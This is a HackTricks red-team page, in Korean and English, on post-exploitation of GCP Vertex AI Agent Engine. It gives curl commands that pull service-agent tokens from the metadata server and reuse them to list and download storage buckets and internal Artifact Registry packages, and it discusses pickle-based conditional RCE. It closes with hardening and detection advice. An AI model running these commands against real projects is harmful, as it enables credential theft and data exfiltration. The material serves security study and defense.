GCP - Vertex AI Post Exploitation

Tip

AWS 해킹 학습 및 실습:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 학습 및 실습: HackTricks Training GCP Red Team Expert (GRTE)
Az 해킹 학습 및 실습: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

Vertex AI Agent Engine / Reasoning Engine

이 페이지는 Google이 관리하는 런타임 내부에서 공격자 제어 도구나 코드를 실행하는 Vertex AI Agent Engine / Reasoning Engine 워크로드에 중점을 둡니다.

For the general Vertex AI overview check:

GCP - Vertex AI Enum

For classic Vertex AI privesc paths using custom jobs, models, and endpoints check:

GCP - Vertex AI Privesc

이 서비스가 특별한 이유

Agent Engine는 유용하지만 위험한 패턴을 도입합니다: 개발자가 제공한 코드가 Google이 관리하는 런타임 안에서 Google이 관리하는 ID로 실행되는 것.

주목할 신뢰 경계는 다음과 같습니다:

  • Consumer project: 귀하의 프로젝트와 데이터.
  • Producer project: 백엔드 서비스를 운영하는 Google 관리 프로젝트.
  • Tenant project: 배포된 agent 인스턴스에 전용된 Google 관리 프로젝트.

Google의 Vertex AI IAM 문서에 따르면, Vertex AI 리소스는 리소스 ID로 Vertex AI service agents를 사용할 수 있으며, 해당 service agents는 기본적으로 프로젝트 내 모든 Cloud Storage 리소스 및 BigQuery 데이터에 대한 읽기 전용 접근을 가질 수 있습니다. Agent Engine 내부에서 실행되는 코드가 런타임 자격증명(runtime credentials)을 탈취할 수 있다면, 그 기본 접근 권한은 즉시 흥미로운 대상이 됩니다.

주요 악용 경로

  1. 관리되는 런타임 내부에서 공격자가 제어하는 도구 코드가 실행되도록 agent를 배포하거나 수정합니다.
  2. 프로젝트 ID, 서비스 계정 ID, OAuth 스코프, 액세스 토큰을 복구하기 위해 metadata server에 질의합니다.
  3. 탈취한 토큰을 Vertex AI Reasoning Engine P4SA / service agent로 재사용합니다.
  4. 그 service agent가 허용하는 프로젝트 전체의 스토리지 데이터를 읽기 위해 consumer project로 피벗합니다.
  5. 동일한 ID로 접근 가능한 producer 및 tenant 환경으로 피벗합니다.
  6. 내부 Artifact Registry 패키지를 열거하고 Dockerfile.zip, requirements.txt, code.pkl 같은 tenant 배포 아티팩트를 추출합니다.

이는 단순히 “자기 agent에서 코드 실행” 문제만이 아닙니다. 핵심 문제는 다음의 조합입니다:

  • metadata로 접근 가능한 자격증명
  • 광범위한 기본 service-agent 권한
  • 광범위한 OAuth 스코프
  • 하나의 관리형 서비스 뒤에 숨겨진 멀티 프로젝트 신뢰 경계

열거

Agent Engine 리소스 식별

The resource name format used by Agent Engine is:

projects/<project-id>/locations/<location>/reasoningEngines/<reasoning-engine-id>

token with Vertex AI access를 가지고 있다면, Reasoning Engine API를 직접 열거하세요:

PROJECT_ID=<project-id>
LOCATION=<location>

curl -s \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
"https://${LOCATION}-aiplatform.googleapis.com/v1/projects/${PROJECT_ID}/locations/${LOCATION}/reasoningEngines"

배포 로그를 확인하세요. 이 로그들은 패키징 또는 런타임 시작 시 사용되는 internal producer Artifact Registry paths를 leak할 수 있습니다:

gcloud logging read \
'textPayload:("pkg.dev" OR "reasoning-engine") OR jsonPayload:("pkg.dev" OR "reasoning-engine")' \
--project <project-id> \
--limit 50 \
--format json

Unit 42 연구는 다음과 같은 내부 경로를 관찰했습니다:

us-docker.pkg.dev/cloud-aiplatform-private/reasoning-engine
us-docker.pkg.dev/cloud-aiplatform-private/llm-extension/reasoning-engine-py310:prod

런타임에서 메타데이터 자격 증명 탈취

에이전트 런타임에서 코드를 실행할 수 있다면, 먼저 메타데이터 서비스에 질의하세요:

curl -H 'Metadata-Flavor: Google' \
'http://metadata.google.internal/computeMetadata/v1/instance/?recursive=true'

관심 있는 필드에는 다음이 포함됩니다:

  • 프로젝트 식별자
  • 연결된 service account / service agent
  • runtime에서 사용 가능한 OAuth scopes

그런 다음 연결된 identity에 대한 토큰을 요청합니다:

curl -H 'Metadata-Flavor: Google' \
'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token'

token을 검증하고 부여된 scopes를 확인하세요:

TOKEN="$(curl -s -H 'Metadata-Flavor: Google' \
'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token' | jq -r .access_token)"

curl -s \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d "access_token=${TOKEN}" \
https://www.googleapis.com/oauth2/v1/tokeninfo

Warning

연구가 보고된 이후 Google은 ADK 배포 워크플로의 일부를 변경했으므로 이전의 배포 스니펫이 현재 SDK와 정확히 일치하지 않을 수 있습니다. 중요한 primitive는 여전히 동일합니다: if attacker-controlled code executes inside the Agent Engine runtime, metadata-derived credentials become reachable unless additional controls block that path.

Consumer-project pivot: service-agent data theft

런타임 토큰이 탈취된 후에는 service agent가 consumer project에 대해 실제로 어떤 접근 권한을 가지는지 테스트하세요.

문서화된 위험한 기본 권한은 광범위한 read access to project data 입니다. Unit 42 연구는 특히 다음을 검증했습니다:

  • storage.buckets.get
  • storage.buckets.list
  • storage.objects.get
  • storage.objects.list

탈취한 토큰으로 실무 검증:

curl -s \
-H "Authorization: Bearer ${TOKEN}" \
"https://storage.googleapis.com/storage/v1/b?project=<project-id>"

curl -s \
-H "Authorization: Bearer ${TOKEN}" \
"https://storage.googleapis.com/storage/v1/b/<bucket-name>/o"

curl -s \
-H "Authorization: Bearer ${TOKEN}" \
"https://storage.googleapis.com/storage/v1/b/<bucket-name>/o/<url-encoded-object>?alt=media"

이는 손상되었거나 악의적인 agent를 project-wide storage exfiltration primitive로 전환시킵니다.

Producer-project pivot: 내부 Artifact Registry 접근

동일한 도용된 identity는 Google-managed producer 리소스에도 작동할 수 있습니다.

먼저 로그에서 확인된 내부 리포지토리 URIs를 테스트하세요. 그런 다음 Artifact Registry API로 패키지를 열거하세요:

packages_request = artifactregistry_service.projects().locations().repositories().packages().list(
parent=f"projects/{project_id}/locations/{location_id}/repositories/llm-extension"
)
packages_response = packages_request.execute()
packages = packages_response.get("packages", [])

raw bearer token만 있는 경우, REST API를 직접 호출하세요:

curl -s \
-H "Authorization: Bearer ${TOKEN}" \
"https://artifactregistry.googleapis.com/v1/projects/<producer-project>/locations/<location>/repositories/llm-extension/packages"

This is valuable even if write access is blocked because it exposes:

  • 내부 이미지 이름
  • 사용 중단된 이미지
  • 공급망 구조
  • 후속 연구를 위한 패키지/버전 인벤토리

For more Artifact Registry background check:

GCP - Artifact Registry Enum

Tenant-project pivot: 배포 아티팩트 검색

Reasoning Engine 배포는 해당 인스턴스에 대해 Google이 관리하는 tenant project에도 흥미로운 아티팩트를 남깁니다.

The Unit 42 research found:

  • Dockerfile.zip
  • code.pkl
  • requirements.txt

Use the stolen token to enumerate accessible storage and search for deployment artifacts:

curl -s \
-H "Authorization: Bearer ${TOKEN}" \
"https://storage.googleapis.com/storage/v1/b?project=<tenant-project>"

테넌트 프로젝트의 아티팩트는 다음을 노출할 수 있습니다:

  • 내부 버킷 이름
  • 내부 이미지 참조
  • 패키징 가정
  • 종속성 목록
  • 직렬화된 에이전트 코드

블로그는 다음과 같은 내부 참조도 관찰했습니다:

gs://reasoning-engine-restricted/versioned_py/Dockerfile.zip

참조된 제한된 버킷을 읽을 수 없더라도, leaked paths는 내부 인프라를 매핑하는 데 도움이 된다.

code.pkl and conditional RCE

배포 파이프라인이 실행 가능한 에이전트 상태를 Python pickle 형식으로 저장한다면, 이를 고위험 대상으로 간주해야 한다.

즉각적인 문제는 기밀성이다:

  • 오프라인 deserialization은 코드 구조를 노출시킬 수 있다
  • 패키지 형식은 leaks implementation details

더 큰 문제는 conditional RCE이다:

  • 공격자가 서비스 측 deserialization 이전에 serialized artifact를 변조할 수 있고
  • 파이프라인이 이후 해당 pickle을 로드한다면
  • 관리형 런타임 내부에서 arbitrary code execution이 가능해진다

이는 그 자체로 독립적인 익스플로잇은 아니다. 이는 dangerous deserialization sink로, 어떤 artifact write나 supply-chain tampering primitive와 결합될 때 치명적이 된다.

OAuth scopes and Workspace blast radius

metadata 응답은 런타임에 연결된 OAuth scopes도 노출한다.

그 스코프가 최소 요구 범위보다 넓다면, 탈취된 토큰이 GCP APIs 이상의 대상에 유용해질 수 있다. IAM은 여전히 해당 identity가 권한이 있는지를 결정하지만, 광범위한 스코프는 blast radius를 확대하고 이후의 misconfigurations를 더 위험하게 만든다.

Workspace 관련 scope를 발견하면, 손상된 identity가 Workspace impersonation 또는 delegated access로 이어지는 경로가 있는지 교차 확인하라:

GCP <–> Workspace Pivoting

하드닝 / 탐지

기본 제공 관리형 ID 대신 사용자 지정 서비스 계정 선호

현재 Agent Engine 문서는 배포된 에이전트에 대해 custom service account를 설정하는 것을 지원한다. 이는 blast radius를 줄이는 가장 깔끔한 방법이다:

  • 기본의 광범위한 service agent에 대한 의존성 제거
  • 에이전트가 필요로 하는 최소 권한만 부여
  • 런타임 신원을 감사 가능하고 의도적으로 범위를 제한되게 만듦

실제 서비스 에이전트 접근 권한 검증

Agent Engine이 사용되는 모든 프로젝트에서 Vertex AI service agent의 실질적 접근 권한(effective access)을 검사하라:

gcloud projects get-iam-policy <project-id> \
--format json | jq '
.bindings[]
| select(any(.members[]?; contains("gcp-sa-aiplatform") or contains("aiplatform-re")))
'

첨부된 identity가 다음을 읽을 수 있는지에 집중하세요:

  • all GCS buckets
  • BigQuery datasets
  • Artifact Registry repositories
  • secrets or internal registries reachable from build/deployment workflows

에이전트 코드를 특권 코드 실행으로 취급하기

에이전트가 실행하는 모든 도구/함수는 메타데이터 접근 권한이 있는 VM에서 실행되는 코드처럼 검토해야 합니다. 실무적으로 의미하는 바는:

  • review agent tools for direct HTTP access to metadata endpoints
  • review logs for references to internal pkg.dev repositories and tenant buckets
  • review any packaging path that stores executable state as pickle

참조

Tip

AWS 해킹 학습 및 실습:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 학습 및 실습: HackTricks Training GCP Red Team Expert (GRTE)
Az 해킹 학습 및 실습: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기